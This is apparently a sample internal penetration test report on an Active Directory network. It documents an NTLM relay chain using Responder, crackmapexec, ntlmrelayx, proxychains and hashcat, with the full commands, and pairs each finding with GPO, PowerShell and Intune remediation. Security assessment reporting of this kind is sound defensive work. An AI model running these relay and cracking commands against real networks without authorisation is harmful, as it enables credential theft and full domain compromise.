PENETRATION TEST REPORT

// INTERNAL NETWORK ASSESSMENT

CLIENT:	Redacted Client, Inc.
ENGAGEMENT:	Internal Network Penetration Test
DATE RANGE:	January 6 - January 17, 2025
REPORT DATE:	January 22, 2025
CLASSIFICATION:	CONFIDENTIAL
PREPARED BY:	RMA Security Consulting
VERSION:	1.0 - SAMPLE

TABLE OF CONTENTS

1.0 Executive Summary

2.0 Scope and Methodology

3.0 Risk Summary

4.0 Findings

- 4.1 CRITICAL -- NTLM Relay via SMB (Responder + ntlmrelayx)
- 4.2 CRITICAL -- SMB Signing Not Required
- 4.3 HIGH -- LLMNR/NBT-NS Poisoning Enabled
- 4.4 HIGH -- Weak Service Account Credentials
- 4.5 MEDIUM -- Outdated Systems on Internal Network

5.0 Remediation Summary

6.0 Appendix: Tools and References

1.0 EXECUTIVE SUMMARY

RMA Security was engaged to conduct an internal network penetration test for Redacted Client, Inc. The assessment was performed from January 6 through January 17, 2025, targeting the internal corporate network environment. The objective was to identify vulnerabilities that could be exploited by a threat actor with internal network access and to demonstrate the business impact of those vulnerabilities.

The assessment identified **2 critical**, **2 high**, and **1 medium** severity findings. The most significant finding involved a complete domain compromise achieved through NTLM relay attacks exploiting disabled SMB signing and active LLMNR/NBT-NS broadcast protocols. Starting from an unprivileged position on the network, RMA Security was able to capture NTLMv2 credentials, relay authentication to domain-joined systems, and escalate privileges to Domain Administrator within approximately 4 hours of initial network access.

This attack chain represents a realistic and well-documented threat. The underlying misconfigurations are common in Active Directory environments and are actively exploited in real-world breaches. Remediation steps are provided for each finding, including specific Group Policy configurations, PowerShell commands, and Intune policy recommendations.

Risk Overview

SEVERITY	COUNT	STATUS
CRITICAL	2	Immediate Action Required
HIGH	2	Action Required Within 30 Days
MEDIUM	1	Action Required Within 60 Days
LOW	0	--
INFORMATIONAL	0	--

2.0 SCOPE AND METHODOLOGY

Scope

Testing was authorized for the internal corporate network at the client's primary office location. The following assets were in scope:

- Internal network subnet: 10.10.0.0/16
- Active Directory domain: REDACTED.local
- Domain-joined Windows workstations and servers
- Internal file shares and print services
- Internal web applications (intranet portal, ticketing system)

Methodology

The engagement followed a structured methodology consistent with the PTES (Penetration Testing Execution Standard) and OWASP Testing Guide. All testing was performed manually with tool assistance. The assessment simulated an internal threat actor with physical network access but no credentials.

- **Phase 1: Reconnaissance** -- Network discovery, service enumeration, protocol analysis
- **Phase 2: Vulnerability identification** -- Manual testing, configuration review, protocol abuse
- **Phase 3: Exploitation** -- Credential capture, NTLM relay, privilege escalation
- **Phase 4: Post-exploitation** -- Lateral movement, data access, domain compromise
- **Phase 5: Reporting** -- Documentation, evidence collection, remediation development

3.0 RISK SUMMARY

The following table summarizes all findings identified during the assessment, ordered by severity.

ID	SEVERITY	FINDING	CVSS
PT-001	CRITICAL	NTLM Relay via SMB (Responder + ntlmrelayx)	9.8
PT-002	CRITICAL	SMB Signing Not Required on Domain Systems	9.1
PT-003	HIGH	LLMNR/NBT-NS Poisoning Enabled Network-Wide	8.0
PT-004	HIGH	Weak Service Account Credentials	7.5
PT-005	MEDIUM	Outdated / Unpatched Systems on Internal Network	6.5

4.0 FINDINGS

4.1 NTLM Relay via SMB (Responder + ntlmrelayx)

ID	PT-001
SEVERITY	CRITICAL
CVSS 3.1	9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
AFFECTED	All domain-joined Windows systems
CWE	CWE-294: Authentication Bypass by Capture-replay

Description

RMA Security identified that NTLM authentication hashes could be captured via LLMNR/NBT-NS poisoning using Responder, then relayed to other domain-joined systems using ntlmrelayx. Because SMB signing was not enforced on the majority of domain systems, captured NTLMv2 authentication attempts could be relayed to execute arbitrary commands on target hosts without cracking the password.

This attack chain was executed during the assessment and resulted in full Domain Administrator access within approximately 4 hours of initial network access.

Steps to Reproduce

1. Start Responder on the internal network to poison LLMNR/NBT-NS broadcasts:

```
sudo responder -I eth0 -dwP
```

2. Identify targets with SMB signing disabled:

```
crackmapexec smb 10.10.0.0/16 --gen-relay-list targets.txt
```

3. Launch ntlmrelayx targeting systems without SMB signing:

```
ntlmrelayx.py -tf targets.txt -smb2support -socks
```

4. Wait for authentication events. When a domain user browses to a nonexistent host or share, Responder poisons the name resolution and captures the NTLMv2 hash. ntlmrelayx relays the authentication to a target system and opens a SOCKS proxy for interactive access.

5. Access relayed session through proxychains:

```
proxychains smbclient //10.10.5.20/C$ -U 'REDACTED/jsmith'
```

6. During testing, a relayed session from a domain admin account provided full C$ share access to a domain controller, confirming complete domain compromise.

Business Impact

An attacker with internal network access (physical, VPN, compromised workstation, or rogue device) could leverage this attack chain to gain complete control of the Active Directory domain. This includes access to all domain-joined systems, file shares, email, databases, and administrative accounts. This finding represents the highest risk identified during the assessment.

Evidence

[Screenshot redacted] -- Responder captured NTLMv2 hash for REDACTED\jsmith
[Screenshot redacted] -- ntlmrelayx successful relay to 10.10.5.20
[Screenshot redacted] -- Domain Controller C$ share accessed via relayed session
[Screenshot redacted] -- secretsdump.py output confirming domain admin NTLM hashes

Remediation -- PT-001

This finding requires three coordinated remediations: enforce SMB signing, disable LLMNR/NBT-NS, and enable Extended Protection for Authentication where applicable.

Remediation 1: Enforce SMB Signing via Group Policy

Navigate to the following GPO path and configure:

```
Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
```

- "Microsoft network server: Digitally sign communications (always)" = Enabled
- "Microsoft network client: Digitally sign communications (always)" = Enabled

PowerShell validation (run on domain-joined systems after GPO propagation):

```
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature # Expected output: RequireSecuritySignature = True
```

Remediation via Intune (for cloud-managed endpoints):

Intune > Endpoint Security > Attack Surface Reduction > Create Profile:
Platform: Windows 10 and later
Profile type: Device restrictions
Setting: Require SMB signing = Yes

Alternatively, deploy via Intune Settings Catalog:

```
Settings Catalog > Search: "Digitally sign communications" Enable both server and client signing requirements
```

Remediation 2: Disable LLMNR via Group Policy

```
Computer Configuration > Administrative Templates > Network > DNS Client "Turn Off Multicast Name Resolution" = Enabled
```

Remediation 2b: Disable NBT-NS via PowerShell (deploy via GPO startup script or SCCM):

```
# Disable NetBIOS over TCP/IP on all adapters $adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled } foreach ($adapter in $adapters) { $adapter.SetTcpipNetbios(2) # 2 = Disable NetBIOS } # Registry path (for validation): # HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_* # NetbiosOptions = 2
```

Remediation via Intune:

Deploy the above PowerShell script as a remediation script via:
Intune > Devices > Scripts > Add > Windows 10 and later
Run this script using the logged on credentials: No

Run script in 64-bit PowerShell host: Yes

Remediation 3: Enable EPA on Internal Services

For LDAP signing and channel binding on Domain Controllers:

```
# Enforce LDAP signing Set-ItemProperty -Path
'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name
'LDAPServerIntegrity' -Value 2 -Type DWord # Enforce LDAP channel binding
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters'
-Name 'LdapEnforceChannelBinding' -Value 2 -Type DWord
```

4.2 SMB Signing Not Required on Domain Systems

ID	PT-002
SEVERITY	CRITICAL
CVSS 3.1	9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
AFFECTED	47 of 52 domain-joined Windows systems
CWE	CWE-311: Missing Encryption of Sensitive Data

Description

47 out of 52 domain-joined Windows systems were found with SMB signing set to "not required." This is the default configuration for Windows workstations and non-DC servers. Without required SMB signing, authentication can be relayed between systems, enabling the NTLM relay attack documented in PT-001.

Steps to Reproduce

```
crackmapexec smb 10.10.0.0/16 --gen-relay-list targets.txt # Output: 47 hosts added
to relay list (signing: False)
```

Remediation

See PT-001 Remediation 1: Enforce SMB Signing via Group Policy. This finding is resolved by the same GPO change.

4.3 LLMNR/NBT-NS Poisoning Enabled

ID	PT-003
SEVERITY	HIGH
CVSS 3.1	8.0 (AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)
AFFECTED	All network segments tested
CWE	CWE-350: Reliance on Reverse DNS Resolution for Security

Description

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are broadcast protocols used for local name resolution when DNS fails. Both protocols are enabled by default on Windows and are trivially abused by an attacker on the local network to respond to name resolution requests and capture NTLMv2 authentication hashes.

Steps to Reproduce

```
sudo responder -I eth0 -A # Analyze mode (passive) # Output: [*] [LLMNR] Poisoned answer sent to 10.10.2.45 for name fileserv03 # Output: [*] [NBT-NS] Poisoned answer sent to 10.10.3.12 for name PRINTSRV
```

Remediation

See PT-001 Remediation 2: Disable LLMNR via Group Policy and disable NBT-NS via PowerShell script deployed through GPO or Intune.

4.4 Weak Service Account Credentials

ID	PT-004
SEVERITY	HIGH
CVSS 3.1	7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
AFFECTED	svc_backup, svc_sqlreport
CWE	CWE-521: Weak Password Requirements

Description

NTLMv2 hashes captured during LLMNR poisoning were cracked offline using hashcat. Two service accounts (svc_backup and svc_sqlreport) were found to use passwords present in common wordlists. svc_backup had local administrator privileges on 12 systems.

Steps to Reproduce

```
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt -r
rules/best64.rule # svc_backup:Company2023! # svc_sqlreport:Summer2024
```

Remediation

Immediate:

- Rotate passwords for svc_backup and svc_sqlreport immediately
- Set passwords to 25+ character randomly generated strings
- Implement Group Managed Service Accounts (gMSA) where possible to eliminate static service account passwords entirely

PowerShell -- Create a gMSA to replace svc_backup:

```
# Create KDS root key (if not already done; wait 10hrs for replication)
Add-KdsRootKey -EffectiveImmediately # Create gMSA New-ADServiceAccount -Name
'gmsa_backup' ` -DNSHostName 'gmsa_backup.REDACTED.local' `
-PrincipalsAllowedToRetrieveManagedPassword 'BackupServers' `
-KerberosEncryptionType AES128,AES256 # Install on target server
Install-ADServiceAccount -Identity 'gmsa_backup' Test-ADServiceAccount -Identity
'gmsa_backup' # Should return True
```

AD Password Policy (apply via GPO to service account OU):

```
Fine-Grained Password Policy via PowerShell: New-ADFineGrainedPasswordPolicy -Name
'ServiceAccountPolicy' ` -Precedence 10 ` -MinPasswordLength 25 ` -MaxPasswordAge
'90.00:00:00' ` -ComplexityEnabled $true ` -ReversibleEncryptionEnabled $false
Add-ADFineGrainedPasswordPolicySubject -Identity 'ServiceAccountPolicy' ` -Subjects
'ServiceAccounts' # AD group containing service accounts
```

4.5 Outdated Systems on Internal Network

ID	PT-005
SEVERITY	MEDIUM
CVSS 3.1	6.5
AFFECTED	3 systems: 10.10.2.40, 10.10.2.41, 10.10.5.8
CWE	CWE-1104: Use of Unmaintained Third Party Components

Description

Three systems on the internal network were running outdated operating systems or missing critical security patches. Two systems were running Windows Server 2012 R2 (end of life October 2023) and one workstation was missing 6+ months of cumulative updates.

Remediation

- Upgrade Windows Server 2012 R2 systems to Server 2022 or migrate workloads
- If immediate upgrade is not possible, isolate these systems into a restricted VLAN with no outbound internet access and limited lateral communication
- Implement WSUS or Intune compliance policies to enforce patch timelines

Intune compliance policy (for managed endpoints):

```
Intune > Devices > Compliance Policies > Create Policy Platform: Windows 10 and later
System Security > Require: "Require device to be at or under machine risk score" =
Low Device Health > Require: "Require BitLocker" = Require Properties > Actions for
noncompliance: Mark noncompliant after 7 days, then block access after 14
```

5.0 REMEDIATION SUMMARY

The following table provides a prioritized remediation plan. Items are ordered by risk and dependency.

PRIORITY	ACTION	FINDINGS	EFFORT	TIMELINE
1	Enforce SMB signing via GPO	PT-001, PT-002	Low	Immediate
2	Disable LLMNR/NBT-NS	PT-001, PT-003	Low	Immediate
3	Rotate service account passwords	PT-004	Low	24 hours
4	Implement gMSA for service accounts	PT-004	Medium	30 days
5	Enforce LDAP signing + channel binding	PT-001	Medium	30 days
6	Upgrade/isolate legacy systems	PT-005	High	60 days
7	Deploy Intune compliance policies	PT-005	Medium	30 days

RMA Security recommends addressing Priority 1-3 items immediately. These changes are low-effort GPO modifications that eliminate the most critical attack path identified during this assessment. A retest is recommended after remediation to validate that the attack chain has been fully disrupted.

6.0 APPENDIX: TOOLS AND REFERENCES

Tools Used

TOOL	PURPOSE
Nmap	Network discovery and service enumeration
CrackMapExec	SMB signing validation, credential testing
Responder	LLMNR/NBT-NS poisoning and hash capture
Impacket (ntlmrelayx, secretsdump)	NTLM relay, credential extraction
Hashcat	Offline password cracking
Proxychains	SOCKS proxy for relayed sessions
BloodHound	Active Directory attack path mapping
Burp Suite Professional	Web application testing

References

- MITRE ATT&CK; T1557.001 -- LLMNR/NBT-NS Poisoning and SMB Relay
- Microsoft -- Overview of Server Message Block signing
- NIST SP 800-171 Rev 2 -- Protecting Controlled Unclassified Information
- CIS Benchmark for Microsoft Windows Server 2022 -- Section 2.3.8 (SMB)
- OWASP Testing Guide v4.2

END OF REPORT